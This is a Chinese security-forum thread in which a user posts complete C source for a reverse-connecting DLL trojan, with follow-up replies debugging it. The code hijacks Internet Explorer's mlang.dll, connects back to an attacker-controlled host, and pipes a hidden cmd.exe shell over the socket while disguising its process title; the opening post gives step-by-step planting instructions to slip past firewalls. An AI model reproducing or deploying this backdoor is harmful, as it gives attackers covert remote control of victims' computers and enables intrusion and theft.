论坛: 编程破解 标题: [原创]一个反向连接的DLL木马源代码 复制本贴地址    
作者: tabris17 [tabris17]    论坛用户   登录
这是个未完成版本,不知会什么时候完成,所以先以源代码方式发布(编译后可以使用)。
改后门采用反向连接,DLL运行在iexplorer.exe的进程空间中,应该不会被防火墙阻拦。
使用方法:
1,win98:
编译后的DLL命名为mlang.dll,替换系统的mlang.dll,将系统的mlang.dll改名为lang.dll。(替换可以用win.ini的[Rename]字段来实现)
2,win2000:将编译后的mlang.dll复制到"C:\Program Files\Internet Explorer\"目录下,并将系统mlang.dll也复制到该目录下,改名为“lang.dll”,并在该目录下建立一个“IEXPLORE.EXE.LOCAL”的文件,内容随意。

现在只要对方连上internet并打开ie就会连接你的主机了(端口和主机信息要在代码中改动,如果你的上网IP不固定,可以使用动态域名解析)。

地主 发表时间: 10/06 21:21

回复: tabris17 [tabris17]   论坛用户   登录
#include "stdafx.h"
#include <winsock.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(linker,"/base:1976369152")
#pragma comment(linker,"/export:ConvertINetMultiByteToUnicode=lang.ConvertINetMultiByteToUnicode")
#pragma comment(linker,"/export:ConvertINetReset=lang.ConvertINetReset")
#pragma comment(linker,"/export:ConvertINetString=lang.ConvertINetString")
#pragma comment(linker,"/export:ConvertINetUnicodeToMultiByte=lang.ConvertINetUnicodeToMultiByte")
#pragma comment(linker,"/export:DllCanUnloadNow=lang.DllCanUnloadNow")
#pragma comment(linker,"/export:DllGetClassObject=lang.DllGetClassObject")
#pragma comment(linker,"/export:DllRegisterServer=lang.DllRegisterServer")
#pragma comment(linker,"/export:DllUnregisterServer=lang.DllUnregisterServer")
#pragma comment(linker,"/export:GetGlobalFontLinkObject=lang.GetGlobalFontLinkObject")
#pragma comment(linker,"/export:IsConvertINetStringAvailable=lang.IsConvertINetStringAvailable")
#pragma comment(linker,"/export:LcidToRfc1766A=lang.LcidToRfc1766A")
#pragma comment(linker,"/export:LcidToRfc1766W=lang.LcidToRfc1766W")
#pragma comment(linker,"/export:Rfc1766ToLcidA=lang.Rfc1766ToLcidA")
#pragma comment(linker,"/export:Rfc1766ToLcidW=lang.Rfc1766ToLcidW")

const char szID[]={"CID:0080\r\n"};
HANDLE hMutex,hR1,hR2,hW1,hW2;
SOCKET sClient;
WSADATA wsd;
struct sockaddr_in srvaddr;
struct hostent *host=NULL;
SECURITY_ATTRIBUTES sa={sizeof(sa),NULL,TRUE};
STARTUPINFO si;
PROCESS_INFORMATION pi;

DWORD backdoor(LPCSTR szDynHost)
{
  int tryCount=0,IsError=0,nRecv=0; //尝试计数,错误标志,socket接收字节
  DWORD dwRead; //Pipe接收字节
  unsigned long argp=1;
  char lpBuff[4096];ZeroMemory(lpBuff,4096); //通讯缓冲区
  WSAStartup(MAKEWORD(2,2),&wsd);
  sClient=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  srvaddr.sin_family=AF_INET;
  srvaddr.sin_port=htons(80); //自定义端口
  srvaddr.sin_addr.s_addr=inet_addr(szDynHost);
  if(srvaddr.sin_addr.s_addr==INADDR_NONE)
  {
host=gethostbyname(szDynHost);
CopyMemory(&srvaddr.sin_addr.s_addr,host->h_addr_list[0],host->h_length);
  }
  while(connect(sClient,(struct sockaddr *)&srvaddr,sizeof(srvaddr))==SOCKET_ERROR){Sleep(10000);}
  send(sClient,szID,10,0); //发送连接ID
retrye:
  if(!(CreatePipe(&hR1,&hW1,&sa,0)&&CreatePipe(&hR2,&hW2,&sa,0)))    IsError=1;
  GetStartupInfo(&si);
  si.hStdInput=hR2;si.hStdOutput=si.hStdError=hW1;
  si.wShowWindow=SW_HIDE;
  si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  //可以有效的欺骗TLIST.EXE这个基于命令行的进程管理工具
  si.lpTitle="\x0d 668 mmc.exe"; //要同cmd.exe一样7个字符
  if(!CreateProcess(NULL,"cmd.exe /Q /D",NULL,NULL,TRUE,0,NULL,NULL,&si,&pi)) IsError=1;
  if(!IsError) //错误检验
    send(sClient,"Ready now!\r\n",12,0);
  else if(tryCount<=10){
tryCount++;Sleep(1000);goto retrye; //尝试11次,如果还是失败则放弃
  }else{
    send(sClient,"Some errors occured,I'll try again!\r\n",37,0);
Sleep(1000);
    goto ret;
  }ioctlsocket(sClient,FIONBIO,(unsigned long *)&argp);Sleep(500);
  //-------------------------------------------------------------------
  while(TRUE)
  {
    PeekNamedPipe(hR1,lpBuff,4096,&dwRead,NULL,NULL);
    if(dwRead)
    {
      ReadFile(hR1,lpBuff,dwRead,&dwRead,NULL);
      send(sClient,lpBuff,(int)dwRead,0);ZeroMemory(lpBuff,4096);
    }
    nRecv=recv(sClient,lpBuff,1023,0);
    if(nRecv>0)
    {
      lpBuff[nRecv]='\r';
      WriteFile(hW2,lpBuff,(DWORD)(nRecv+1),&dwRead,NULL);
    }
  }
  //-------------------------------------------------------------------
  TerminateProcess(pi.hProcess,0);
ret:
  closesocket(sClient);
  WSACleanup();
  return TRUE;
}

BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    hMutex=CreateMutex(NULL,FALSE,"IE\tParasite\r");
    if(GetLastError()!=ERROR_ALREADY_EXISTS)
//"localhost"是反向连接的地址,如果你没有固定IP,可以申请动态域名解析,完成版中将加入POP3获得动态地址功能
      CloseHandle(CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)backdoor,"localhost",0,NULL));
break;
  case DLL_THREAD_ATTACH:break;
  case DLL_THREAD_DETACH:break;
  case DLL_PROCESS_DETACH:CloseHandle(hMutex);TerminateProcess(pi.hProcess,0);break;
  }return TRUE;
}



B1层 发表时间: 10/06 21:22

回复: tabris17 [tabris17]   论坛用户   登录
如有bug,劳烦告知

B2层 发表时间: 10/06 21:22

回复: shesh [shesh]   版主   登录
发送接收地方有问题.
如果大数据量的传输,超过缓冲的时候.
比如DIR/S的时候,数据量大于了4096,
ReadFile(hR1,lpBuff,dwRead,&dwRead,NULL);
send(sClient,lpBuff,(int)dwRead,0);ZeroMemory(lpBuff,4096);
此处肯定一次发不完,接着就下去recv了,而此时控制端并没有数据输入,就阻塞了,必须要手工干预.
建议用两个线程处理,一个专门收,一个专门发动.套接字可以在接收的同时也可以发送的.
可以一个线程使劲的读套接字,然后往管道写.
一个线程读管道,读到数据就往套接字写.
一般的SHELL都是这么处理的.

还有这个SHELL不能解决重定向问题.
比如不能再次在SHELL里用FTP或者重新TELNET到其他机器.
但WINDOWS自带的就可以,不知道有什么办法解决.
查看WINDOWS自带的TELNET,他也只是用了一个绑定的CMD.



B3层 发表时间: 10/06 23:04

回复: tabris17 [tabris17]   论坛用户   登录
阻塞的问题我也考虑到了,所以将socket设为非阻塞模式,虽然发送大量数据的话仍会有问题,但程序不会就此死掉。

关于无法使用telnet,我试了一下,telnet.exe和ftp.exe之类的程序有所不同。
用“telnet>a.txt”没有输出任何东西。(ftp.exe的话就可以)

以下部分纯属个人猜想:
我猜想telnet并没有使用程序原本的标准输出句柄,而是自己又定义了一个输出句柄。事实上telnet.exe也导入了SetStdHandle这个函数。


B4层 发表时间: 10/07 13:43

回复: shesh [shesh]   版主   登录
因为FTP有两次重定向,一次本地,一次远程

B5层 发表时间: 10/07 15:07

回复: sicama [sicama]   论坛用户   登录
有没有下文??

B6层 发表时间: 10/12 05:17

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号